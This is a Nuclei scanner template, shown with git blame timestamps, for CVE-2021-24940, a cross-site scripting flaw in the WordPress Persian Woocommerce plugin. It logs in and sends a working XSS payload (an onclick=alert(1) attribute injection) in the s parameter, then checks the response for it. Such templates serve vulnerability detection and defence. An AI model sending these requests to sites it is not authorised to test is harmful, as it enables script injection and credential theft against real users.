nuclei-templates/http/cves/2021/CVE-2021-24940.yaml

50 lines
1.8 KiB
YAML
Raw Normal View History

2022-10-03 15:03:31 +00:00
id: CVE-2021-24940
info:
name: WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting
2022-10-03 15:03:31 +00:00
author: daffainfo
severity: medium
2022-10-05 15:12:55 +00:00
description: |
WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.
2022-10-05 15:12:55 +00:00
reference:
- https://wpscan.com/vulnerability/1980c5ca-447d-4875-b542-9212cc7ff77f
- https://nvd.nist.gov/vuln/detail/CVE-2021-24940
remediation: Fixed in 5.9.8.
2022-10-05 15:12:55 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
2022-10-05 15:12:55 +00:00
cve-id: CVE-2021-24940
cwe-id: CWE-79
cpe: cpe:2.3:a:woocommerce:persian-woocommerce:*:*:*:*:*:*:*:*
epss-score: 0.001
2022-10-03 15:03:31 +00:00
metadata:
max-request: 2
2023-06-04 08:13:42 +00:00
verified: true
tags: wp,xss,authenticated,wpscan,cve,cve2021,wordpress,wp-plugin
2022-10-03 15:03:31 +00:00
http:
2022-10-03 15:03:31 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-10-03 19:54:29 +00:00
2022-10-03 15:03:31 +00:00
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22 HTTP/1.1
Host: {{Hostname}}
2022-10-05 15:12:55 +00:00
req-condition: true
2022-10-03 15:03:31 +00:00
cookie-reuse: true
matchers:
2022-10-05 15:12:55 +00:00
- type: dsl
dsl:
- contains(all_headers_2, "text/html")
- status_code_2 == 200
- contains(body_2, 'accesskey=X onclick=alert(1) test=')
- contains(body_2, 'woocommerce_persian_translate')
2022-10-03 15:03:31 +00:00
condition: and
# Enhanced by md on 2022/10/17